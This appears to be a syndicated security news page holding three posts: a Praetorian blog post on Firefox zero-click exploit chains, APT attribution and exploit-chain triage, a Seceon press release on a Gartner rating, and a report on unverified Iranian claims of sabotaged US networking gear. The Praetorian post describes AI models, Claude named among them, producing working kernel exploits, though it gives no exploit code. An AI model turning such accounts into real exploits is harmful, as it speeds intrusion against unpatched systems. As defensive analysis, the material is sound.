https://www.praetorian.com/wp-content/uploads/2026/04/firefox-zero-click-exploit-chains-two-campaigns-shared-sandb-1-768x412.webp 768w, https://www.praetorian.com/wp-content/uploads/2026/04/firefox-zero-click-exploit-chains-two-campaigns-shared-sandb-1-1536x824.webp 1536w" sizes="(max-width: 1640px) 100vw, 1640px"> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-b3b07e8 e-con-full e-flex e-con e-parent" data-id="b3b07e8" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-fe1a52a elementor-widget elementor-widget-heading" data-id="fe1a52a" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Active Exploitation and APT Attribution</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-f7b8344 e-con-full e-flex e-con e-parent" data-id="f7b8344" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-13b2ad6 elementor-widget elementor-widget-text-editor" data-id="13b2ad6" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>What elevates these chains from theoretical risks to urgent ones is the threat intelligence behind their components. Chain 2 is a confirmed in-the-wild APT weapon. Chain 1 was not observed in a campaign as a pair, but its components are independently proven: the renderer exploit was demonstrated against a hardened target at Pwn2Own Berlin, and the sandbox escape shares a root cause with a Chrome vulnerability that a separate state-sponsored group exploited in the wild. The techniques exist. The question is not whether this chain is exploitable, but when someone assembles it.</p> <p><strong>RomCom (Storm-0978 / Tropical Scorpius)</strong> is a Russia aligned APT group conducting both cybercrime and espionage operations. In late 2024, RomCom deployed the CVE-2024-9680 + CVE-2024-49039 chain as a zero click drive-by attack, using fake websites to redirect victims to an exploit server that deployed the RomCom backdoor.</p> <p>ESET’s telemetry showed up to 250 victims per country across Europe and North America between October and November 2024. Targets included government, defense, and energy sectors in Ukraine, pharmaceutical and insurance companies in the United States, and legal firms in Germany. Both CVEs in this chain are listed in CISA’s Known Exploited Vulnerabilities catalog, with ransomware use confirmed in a 2025 update. RomCom has a track record of zero day exploitation, having previously used CVE-2023-36884 (Microsoft Word) in 2023.</p> <p><strong>Operation ForumTroll</strong> exploited CVE-2025-2783, the Chrome equivalent of the Firefox sandbox escape CVE-2025-2857. Discovered by Kaspersky’s GReAT team in March 2025, the attackers sent spearphishing emails disguised as invitations to the Primakov Readings academic forum, targeting media outlets, educational institutions, and government organizations. The campaign deployed the LeetAgent backdoor followed by Dante spyware, a commercial surveillance product developed by Memento Labs (formerly Hacking Team). Kaspersky attributed the campaign to a state sponsored APT group whose primary objective was espionage. A second wave was detected in October 2025 targeting political scientists, indicating the group remains active.</p> <p>The Firefox sandbox escape (CVE-2025-2857) is not merely similar to the Chrome vulnerability exploited by ForumTroll. Mozilla explicitly stated that Firefox developers found the flaw by examining their own IPC code after the Chrome bug was disclosed. The underlying pattern, a logic error that allows a child process to leak a privileged handle from the parent, was present in both browsers independently. An attacker with the capability to exploit one could reasonably adapt to exploit the other.</p> <p>The result is that a single customer environment contained endpoints vulnerable to two independent exploit chains capable of achieving full host compromise through zero-click browser attacks. One is a confirmed chain exploited in the wild by APT groups. The other assembles a Pwn2Own-demonstrated renderer exploit with a sandbox escape whose underlying vulnerability class was independently exploited by a state-sponsored group. No individual CVE report communicates that level of compound risk.</p> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-6656f7c e-con-full e-flex e-con e-parent" data-id="6656f7c" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-27e5f93 elementor-widget elementor-widget-heading" data-id="27e5f93" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Assessing Exploitability Beyond CVSS</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-4a71173 e-con-full e-flex e-con e-parent" data-id="4a71173" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-a84bb14 elementor-widget elementor-widget-text-editor" data-id="a84bb14" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>Linking CVEs into chains is only half the problem. The other half is determining whether a given chain is actually exploitable in practice. A chain composed of two theoretical vulnerabilities with no public proof of concept is a very different risk than a chain where both stages have been demonstrated at Pwn2Own, confirmed exploited by a named APT group, listed in CISA’s Known Exploited Vulnerabilities catalog, or backed by published exploit code.This kind of analysis incorporates multiple exploitability signals when evaluating a linked finding:</p> <p>CISA KEV entries confirm that a vulnerability has been exploited in the wild and often indicate whether ransomware groups have operationalized it. Pwn2Own demonstrations prove that a full exploit chain is achievable against a hardened target under controlled conditions. Public proof of concept exploits lower the barrier to exploitation by providing a starting point that less sophisticated attackers can adapt. APT attribution from threat intelligence providers like Kaspersky GReAT, ESET, Google TAG, and Mandiant establishes which threat actors have deployed a given technique, against which target profiles, and in what geographies.</p> <p>Each of these signals independently elevates the urgency of a finding. When multiple signals converge on the same chain, the case for immediate action becomes overwhelming. There is also an emerging signal that is changing how we think about exploitability timelines: AI assisted exploit development.</p> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-36ec85e e-con-full e-flex e-con e-parent" data-id="36ec85e" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-2f08ddd elementor-widget elementor-widget-heading" data-id="2f08ddd" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Automated N-Day Exploit Generation Pipelines</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-5bd1c50 e-con-full e-flex e-con e-parent" data-id="5bd1c50" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-b6f2dbd elementor-widget elementor-widget-text-editor" data-id="b6f2dbd" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>In March 2026, researchers at Calif demonstrated that Claude could take a FreeBSD kernel vulnerability advisory (CVE-2026-4747) and produce a fully working remote root shell exploit in approximately four hours of compute time, with minimal human guidance. The AI handled lab setup, multi packet shellcode delivery across 15 ROP rounds, offset debugging via crash dumps, and a kernel to userland process transition. While that specific target lacked modern mitigations like KASLR and stack canaries, the trajectory is unmistakable.</p> <p>Internally at Praetorian, we have had similar success using AI agents to develop working exploits for local privilege escalation and container escape vulnerabilities against both Linux and FreeBSD kernels. The time from CVE publication to working exploit is compressing from weeks to hours, and the barrier to entry is dropping from specialized exploit developer to anyone with access to a frontier model.</p> <p>For vulnerability chains where even one stage has a public advisory and a patch diff, the assumption should be that a working exploit can be generated faster than most organizations can deploy a patch. Exploitability assessment must account for this by weighing not just whether a public exploit exists now, but whether the vulnerability class and available technical context make AI assisted exploitation feasible.</p> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-8bcc58a e-con-full e-flex e-con e-parent" data-id="8bcc58a" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-f236bc2 elementor-widget elementor-widget-heading" data-id="f236bc2" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">From 500,000 Findings to 14 Critical Endpoints</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-72a36a0 e-con-full e-flex e-con e-parent" data-id="72a36a0" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-a7591d1 elementor-widget elementor-widget-text-editor" data-id="a7591d1" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>This customer’s environment had roughly 500,000 individual vulnerability findings from their CrowdStrike deployment alone. Guard ingests findings simultaneously from multiple sources: CrowdStrike for endpoint vulnerabilities, Wiz or Orca for cloud misconfigurations, Tenable or Qualys for infrastructure scanning, etc. Sorting any one of these sources by CVSS score and filtering for criticals would have returned thousands of results, most of which were either unexploitable in their specific deployment context or represented vulnerabilities that, while technically severe, had no realistic attack path given the compensating controls in place.</p> <p>Our approach was different. Rather than treating each CVE as an independent risk to be scored and ranked, we correlated findings across the same endpoint to identify cases where multiple vulnerabilities composed into a viable exploit chain, then enriched those chains with the exploitability signals described in the previous section: CISA KEV status, public PoC availability, Pwn2Own demonstrations, APT attribution, and AI assisted exploitation feasibility.</p> <p>Guard’s CVE research pipeline ingests newly published vulnerabilities, determines which products and versions are affected, and cross references against what is deployed in each customer’s environment. When threat intelligence surfaces active exploitation by a named APT group, that context informs the chain analysis. The browser exploit chains identified here connected two Firefox CVEs to a Kaspersky threat report on ForumTroll and an ESET writeup on RomCom, surfacing the 14 endpoints that actually mattered out of half a million findings. For a deeper look at the architecture behind this, see our CEO’s post on the Attack Helix.</p> <p>The result was a set of linked findings, each representing not a single CVE but a complete attack path. We identified 14 endpoints where unpatched Firefox installations were vulnerable to at least one complete exploit chain: nine endpoints exposed to the Pwn2Own Berlin chain (CVE-2025-4918 + CVE-2025-2857), and five endpoints exposed to the RomCom chain (CVE-2024-9680 + CVE-2025-2857), with a subset of hosts vulnerable to both chains simultaneously and two hosts carrying an additional escape path via CVE-2024-49039. Each linked finding included the full chain description, the specific CVEs involved, exploitability context, and a recommendation that went beyond “patch Firefox” to include forensic triage guidance for indicators of compromise associated with RomCom and ForumTroll tooling.</p> <p>The reduction from 500,000 to 14 is not a trick of filtering. It reflects a fundamentally different question. Instead of asking “which vulnerabilities are severe?”, the right question is “which combinations of vulnerabilities create a realistic attack path that a capable adversary is likely to exploit?” The answer set is dramatically smaller, and dramatically more actionable.</p> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-078127b e-con-full e-flex e-con e-parent" data-id="078127b" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-6d5f15e elementor-widget elementor-widget-image" data-id="6d5f15e" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> <img decoding="async" width="1600" height="600" src="https://www.praetorian.com/wp-content/uploads/2026/04/exploit-chain-analysis-funnel-500k-vulnerability-findings-to-1.webp" class="attachment-full size-full wp-image-12029" alt="Exploit chain analysis funnel 500K vulnerability findings to 14 critical endpoints" srcset="https://www.praetorian.com/wp-content/uploads/2026/04/exploit-chain-analysis-funnel-500k-vulnerability-findings-to-1.webp 1600w, https://www.praetorian.com/wp-content/uploads/2026/04/exploit-chain-analysis-funnel-500k-vulnerability-findings-to-1-300x113.webp 300w, https://www.praetorian.com/wp-content/uploads/2026/04/exploit-chain-analysis-funnel-500k-vulnerability-findings-to-1-1024x384.webp 1024w, https://www.praetorian.com/wp-content/uploads/2026/04/exploit-chain-analysis-funnel-500k-vulnerability-findings-to-1-768x288.webp 768w, https://www.praetorian.com/wp-content/uploads/2026/04/exploit-chain-analysis-funnel-500k-vulnerability-findings-to-1-1536x576.webp 1536w" sizes="(max-width: 1600px) 100vw, 1600px"> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-12bd24b e-con-full e-flex e-con e-parent" data-id="12bd24b" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-a0fe589 elementor-widget elementor-widget-heading" data-id="a0fe589" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Conclusions</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-eef0f4b e-con-full e-flex e-con e-parent" data-id="eef0f4b" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-1e97191 elementor-widget elementor-widget-text-editor" data-id="1e97191" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>Under a traditional CVSS-sort workflow, those 14 endpoints would be buried in a queue of thousands of critical findings, undifferentiated from renderer bugs on systems with no matching sandbox escape or sandbox escapes on systems with no initial foothold. They would get patched eventually, in whatever order the ticket queue dictated, with no forensic triage and no awareness that a state-sponsored campaign had already weaponized one chain, and that the components of the other had been independently proven exploitable at Pwn2Own and in the wild.</p> <p>The linked findings Guard surfaced tell a different story. Each one ships with full chain context: the specific CVEs, the exploitability signals, the CISA KEV status, and IOC guidance for related APT tooling. That context changes what remediation looks like. Not just “patch Firefox,” but “these 14 hosts are exposed to zero-click chains built from vulnerabilities that state-sponsored actors and top security researchers have independently proven exploitable, and here is what to look for if they have already been hit.”</p> <p>This is what the Praetorian Guard platform does: it ingests vulnerability data from across the security stack, links findings into exploit chains, enriches them with threat intelligence, and surfaces the results that represent genuine, exploitable risk. A vulnerability pattern identified in one customer environment becomes a detection capability that protects every Guard customer facing the same exposure class. If you are managing hundreds of thousands of findings and struggling to identify what actually matters, you have the same problem this customer had.</p> <p><em>Want to see what exploit chains exist in your environment?</em></p> <p><a href="https://www.praetorian.com/guard">Request a Guard demo</a> <em>and we’ll show you.</em></p> </div> </div> </div><p>The post <a href="https://www.praetorian.com/blog/exploit-chain-analysis/">500,000 Vulnerabilities, 14 That Matter: How Exploit Chain Analysis Cuts Through the Noise</a> appeared first on <a href="https://www.praetorian.com/">Praetorian</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/500000-vulnerabilities-14-that-matter-how-exploit-chain-analysis-cuts-through-the-noise/" data-a2a-title="500,000 Vulnerabilities, 14 That Matter: How Exploit Chain Analysis Cuts Through the Noise"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2F500000-vulnerabilities-14-that-matter-how-exploit-chain-analysis-cuts-through-the-noise%2F&amp;linkname=500%2C000%20Vulnerabilities%2C%2014%20That%20Matter%3A%20How%20Exploit%20Chain%20Analysis%20Cuts%20Through%20the%20Noise" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2F500000-vulnerabilities-14-that-matter-how-exploit-chain-analysis-cuts-through-the-noise%2F&amp;linkname=500%2C000%20Vulnerabilities%2C%2014%20That%20Matter%3A%20How%20Exploit%20Chain%20Analysis%20Cuts%20Through%20the%20Noise" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2F500000-vulnerabilities-14-that-matter-how-exploit-chain-analysis-cuts-through-the-noise%2F&amp;linkname=500%2C000%20Vulnerabilities%2C%2014%20That%20Matter%3A%20How%20Exploit%20Chain%20Analysis%20Cuts%20Through%20the%20Noise" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2F500000-vulnerabilities-14-that-matter-how-exploit-chain-analysis-cuts-through-the-noise%2F&amp;linkname=500%2C000%20Vulnerabilities%2C%2014%20That%20Matter%3A%20How%20Exploit%20Chain%20Analysis%20Cuts%20Through%20the%20Noise" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2F500000-vulnerabilities-14-that-matter-how-exploit-chain-analysis-cuts-through-the-noise%2F&amp;linkname=500%2C000%20Vulnerabilities%2C%2014%20That%20Matter%3A%20How%20Exploit%20Chain%20Analysis%20Cuts%20Through%20the%20Noise" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.praetorian.com/blog/">Offensive Security Blog: Latest Trends in Hacking | Praetorian</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Praetorian">Praetorian</a>. Read the original post at: <a href="https://www.praetorian.com/blog/exploit-chain-analysis/">https://www.praetorian.com/blog/exploit-chain-analysis/</a> </p>

<p><em>Seceon earns a 4.6 out of 5.0 overall rating from 82 verified customer reviews, with 90% of reviewers willing to recommend the platform, reflecting strong real-world satisfaction across the global services and financial sectors</em></p><p>WESTFORD, Mass., April 21, 2026 /PRNewswire/ — Seceon Inc., a leading provider of AI-driven cybersecurity solutions for enterprises and managed security service providers (MSSPs), today announced its inclusion in the “Voice of the Customer” for Security Information and Event Management (SIEM), published April 10, 2026. The recognition is based entirely on verified reviews and ratings submitted by Seceon customers on the Gartner Peer Insights platform over an 18-month period.</p><figure class="wp-block-image size-full is-resized"><img fetchpriority="high" decoding="async" width="1400" height="1562" src="https://seceon.com/wp-content/uploads/2026/04/Figure_1._Voice_of_the_Customer_for_Security_Information_and_Event_Management-1.png" alt="" class="wp-image-31248" style="width:787px;height:auto" title="Gartner's Peer Review Voice of the Customer Quadrant, recognized Seceon as a leading SIEM solution in 2026. Driven by verified customer feedback, Seceon delivers strong outcomes in threat detection, response, and compliance with high ratings across product capabilities, deployment, and support." srcset="https://seceon.com/wp-content/uploads/2026/04/Figure_1._Voice_of_the_Customer_for_Security_Information_and_Event_Management-1.png 1400w, https://seceon.com/wp-content/uploads/2026/04/Figure_1._Voice_of_the_Customer_for_Security_Information_and_Event_Management-1-269x300.png 269w, https://seceon.com/wp-content/uploads/2026/04/Figure_1._Voice_of_the_Customer_for_Security_Information_and_Event_Management-1-918x1024.png 918w, https://seceon.com/wp-content/uploads/2026/04/Figure_1._Voice_of_the_Customer_for_Security_Information_and_Event_Management-1-768x857.png 768w, https://seceon.com/wp-content/uploads/2026/04/Figure_1._Voice_of_the_Customer_for_Security_Information_and_Event_Management-1-1377x1536.png 1377w" sizes="(max-width: 1400px) 100vw, 1400px"><figcaption class="wp-element-caption">Gartner’s Peer Review Voice of the Customer Quadrant, recognized Seceon as a leading SIEM solution in 2026. Driven by verified customer feedback, Seceon delivers strong outcomes in threat detection, response, and compliance with high ratings across product capabilities, deployment, and support.</figcaption></figure><figure class="wp-block-image size-large is-resized"><img decoding="async" width="1024" height="535" src="https://seceon.com/wp-content/uploads/2026/04/Recognized-as-a-Customers-Choice-in-the-Gartner-Peer-Insights%E2%84%A2-Voice-of-the-Customer-Quadrant-2026-2-1024x535.png" alt="" class="wp-image-31249" style="aspect-ratio:1.9140527646242034;width:826px;height:auto" title='Seceon is included in the Gartner® Peer Insights™ "Voice of the Customer" for Security Information and Event Management (2026), based on verified reviews from customers across the globe. The recognition reflects strong feedback across deployment experience, usability, and operational effectiveness, highlighting how security teams are turning to unified platforms to improve visibility, accelerate response, and reduce operational complexity.' srcset="https://seceon.com/wp-content/uploads/2026/04/Recognized-as-a-Customers-Choice-in-the-Gartner-Peer-Insights™-Voice-of-the-Customer-Quadrant-2026-2-1024x535.png 1024w, https://seceon.com/wp-content/uploads/2026/04/Recognized-as-a-Customers-Choice-in-the-Gartner-Peer-Insights™-Voice-of-the-Customer-Quadrant-2026-2-300x157.png 300w, https://seceon.com/wp-content/uploads/2026/04/Recognized-as-a-Customers-Choice-in-the-Gartner-Peer-Insights™-Voice-of-the-Customer-Quadrant-2026-2-768x401.png 768w, https://seceon.com/wp-content/uploads/2026/04/Recognized-as-a-Customers-Choice-in-the-Gartner-Peer-Insights™-Voice-of-the-Customer-Quadrant-2026-2.png 1200w" sizes="(max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Seceon is included in the Gartner® Peer Insights<img decoding="async" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;"> “Voice of the Customer” for Security Information and Event Management (2026), based on verified reviews from customers across the globe. The recognition reflects strong feedback across deployment experience, usability, and operational effectiveness, highlighting how security teams are turning to unified platforms to improve visibility, accelerate response, and reduce operational complexity.</figcaption></figure><p>Seceon achieved an overall rating of 4.6 out of 5.0 stars across 82 verified customer reviews, 210 total reviews, with 90% of reviewers indicating a willingness to recommend Seceon to peers. The company was recognized in the “Aspiring” Voice of the Customer Quadrant, reflecting above-market-average overall experience scores alongside a growing customer footprint.</p><p><em> “The SIEM market has long been dominated by solutions that are expensive to deploy, slow to deliver value, and difficult to manage without large teams. Our inclusion in the Gartner Peer Insights Voice of the Customer with a 4.6 rating and a top deployment experience score validates that there is a better way, and that our customers are living proof of it.”<br></em><strong>— Chandra Pandey, Founder &amp; CEO, Seceon Inc. </strong></p><p><strong>Why This Recognition Matters</strong></p><p>The Gartner Peer Insights “Voice of the Customer” is one of the most trusted peer-driven evaluations in enterprise technology. Inclusion requires a minimum of 20 verified reviews over 18 months, a 4.0 or higher overall rating, and sufficient ratings across capabilities and support delivery criteria that ensure only vendors with demonstrated customer satisfaction are represented. Across the entire SIEM market during this period, Gartner Peer Insights collected 2,673 total reviews and ratings.</p><p>For Seceon, earning a 90% Willingness to Recommend score, ahead of several larger, well-resourced competitors in the market, underscores the tangible value customers experience when deploying the Seceon Open Threat Management (OTM) Platform. Seceon’s Deployment Experience score of 4.6 out of 5.0 is particularly notable, reflecting the platform’s ease of onboarding and time-to-value relative to more complex legacy SIEM architectures.</p><p><strong>What Customers Value Most</strong></p><p>Across 82 verified reviews, Seceon customers predominantly from the services, finance, and communications sectors, spanning organizations in the US, Asia/Pacific, Europe, and globally — consistently highlight:</p><ul class="wp-block-list"> <li>  AI-driven, real-time threat detection and automated response that reduces analyst workload and alert fatigue</li> <li>  Superior deployment experience compared to legacy SIEM tools, with rapid time-to-value for resource-constrained teams</li> <li>  Strong MSSP and multi-tenant capabilities that enable service providers to deliver scalable, enterprise-grade protection</li> <li>  Consistent, high-quality customer support rated 4.5 out of 5.0 across 82 reviewers</li> <li>  Competitive total cost of ownership, making advanced threat detection accessible beyond large enterprise budgets</li> </ul><p>Read Seceon’s verified customer reviews and access the full Gartner Peer Insights Voice of the Customer for SIEM report at: <strong><u><a href="https://edge.prnewswire.com/c/link/?t=0&amp;l=en&amp;o=4669056-1&amp;h=147230541&amp;u=https%3A%2F%2Fseceon.com%2F2026-gartner-peer-insights-voice-of-the-customer-for-siem%2F&amp;a=https%3A%2F%2Fseceon.com%2F2026-gartner-peer-insights-voice-of-the-customer-for-siem%2F" rel="noreferrer noopener">https://seceon.com/2026-gartner-peer-insights-voice-of-the-customer-for-siem/</a></u></strong></p><p><strong>About the Seceon Open Threat Management Platform</strong></p><p>Seceon’s Open Threat Management (OTM) Platform combines AI, machine learning, and behavioral analytics to continuously monitor, detect, and automatically contain threats across on-premises, cloud, and hybrid environments in real time, 24/7. Designed for enterprises and MSSPs alike, the platform ingests and correlates data from across the full IT environment, eliminating the complexity, cost, and tuning burden of traditional SIEM deployments.</p><p><strong>Gartner Disclaimer</strong></p><p><em>Gartner, Voice of the Customer for Security Information and Event Management, Peer Community Contributors, 10 April 2026. GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and PEER INSIGHTS is a trademark and service mark of Gartner, Inc. and/or its affiliates and are used herein with permission. All rights reserved. Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates.</em></p><p><strong>Media Contact:<br></strong>Shikha Pandey<br><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="a1f2c9c8cac9c0e1d2c4c2c4cecf8fc2cecc">[email protected]</a><br><a href="https://edge.prnewswire.com/c/link/?t=0&amp;l=en&amp;o=4527006-1&amp;h=2865169115&amp;u=http%3A%2F%2Fwww.seceon.com%2F&amp;a=www.seceon.com" rel="noreferrer noopener">www.seceon.com</a><br>+1 978-496-4058</p><p><strong>Reference Link:</strong> <a href="https://www.prnewswire.com/news-releases/seceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management-302748446.html">Seceon Recognized in the 2026 Gartner® “Voice of the Customer” Report for Security Information and Event Management</a></p><p>The post <a href="https://seceon.com/seceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management/">Seceon Recognized in the 2026 Gartner® “Voice of the Customer” Report for Security Information and Event Management</a> appeared first on <a href="https://seceon.com/">Seceon Inc</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/seceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management/" data-a2a-title="Seceon Recognized in the 2026 Gartner® “Voice of the Customer” Report for Security Information and Event Management"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fseceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management%2F&amp;linkname=Seceon%20Recognized%20in%20the%202026%20Gartner%C2%AE%20%E2%80%9CVoice%20of%20the%20Customer%E2%80%9D%20Report%20for%20Security%20Information%20and%20Event%20Management" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fseceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management%2F&amp;linkname=Seceon%20Recognized%20in%20the%202026%20Gartner%C2%AE%20%E2%80%9CVoice%20of%20the%20Customer%E2%80%9D%20Report%20for%20Security%20Information%20and%20Event%20Management" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fseceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management%2F&amp;linkname=Seceon%20Recognized%20in%20the%202026%20Gartner%C2%AE%20%E2%80%9CVoice%20of%20the%20Customer%E2%80%9D%20Report%20for%20Security%20Information%20and%20Event%20Management" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fseceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management%2F&amp;linkname=Seceon%20Recognized%20in%20the%202026%20Gartner%C2%AE%20%E2%80%9CVoice%20of%20the%20Customer%E2%80%9D%20Report%20for%20Security%20Information%20and%20Event%20Management" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fseceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management%2F&amp;linkname=Seceon%20Recognized%20in%20the%202026%20Gartner%C2%AE%20%E2%80%9CVoice%20of%20the%20Customer%E2%80%9D%20Report%20for%20Security%20Information%20and%20Event%20Management" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://seceon.com/">Seceon Inc</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Anamika Pandey">Anamika Pandey</a>. Read the original post at: <a href="https://seceon.com/seceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management/">https://seceon.com/seceon-recognized-in-the-2026-gartner-voice-of-the-customer-report-for-security-information-and-event-management/</a> </p>

<p style="font-weight: 400;">Reports from Iranian state media claim that U.S.-manufactured networking gear ceased functioning at critical moments during military strikes. The allegations, which cannot be independently verified, claim there were simultaneous failures across routers and switches produced by Cisco, Fortinet, Juniper Networks, and MikroTik during attacks on Iranian infrastructure.</p><p style="font-weight: 400;">According to accounts published by the Iranian <a href="https://farsnews.ir/FarsNews_eng">Fars News Agency</a>, the disruptions occurred as U.S. forces targeted sites in Iran’s Isfahan Province. Devices reportedly disconnected or rebooted despite the country having largely severed its connection to the global Internet. Iranian officials claimed the timing was deliberate, suggesting the presence of embedded vulnerabilities or dormant malware within the equipment.</p><p style="font-weight: 400;">Iranian sources say that the failures could not have resulted from conventional remote cyberattacks, given the country’s isolation from external networks during the strikes. Instead, they describe scenarios involving pre-positioned code within firmware or the activation of hidden backdoors capable of triggering disruptions without external connectivity.</p><p style="font-weight: 400;">U.S. vendors have not confirmed the existence of such vulnerabilities, and no independent technical analysis has been released.</p><p style="font-weight: 400;">Since the start of the conflict, authorities have maintained a near-total Internet shutdown. Only a limited group of approved users could access the Internet. This isolation is one of the reasons it is hard to verify claims of coordinated hardware failures.</p><p style="font-weight: 400;">The isolation also reveals Iran’s decision to build a centralized and controllable network architecture, which limits foreign influence and enhances domestic surveillance. The downside of such a centralized approach is that it includes the potential for single points of failure.</p><h2 style="font-weight: 400;"><strong>Sustained Cyber Battle </strong></h2><p style="font-weight: 400;">Whatever the truth of the claims about the networking gear, a sustained cyber battle is almost certainly being pursued by both the U.S. and Iran.</p><p style="font-weight: 400;">U.S. military officials have acknowledged using offensive cyber capabilities in recent conflicts. In briefings earlier this year, senior defense leaders described cyber units as first movers used to attack an adversary’s communication infrastructure before physical strikes begin.</p><p style="font-weight: 400;">Iran, according to U.S. authorities, made a series of intrusions into American critical infrastructure, compromising systems tied to oil, gas, and water operations, and causing operational disruptions. The attacks targeted programmable logic controllers, which bridge digital commands and physical machinery.</p><p style="font-weight: 400;">While the disruptions reported in the U.S. were limited, they show a persistent effort to establish footholds in critical systems that could be leveraged during conflicts.</p><p style="font-weight: 400;">Independent hacking groups aligned with Iran have also signaled their intent to continue cyber operations regardless of diplomatic developments. Following a recent ceasefire, one such group stated that attacks against U.S. targets would resume when conditions allow. 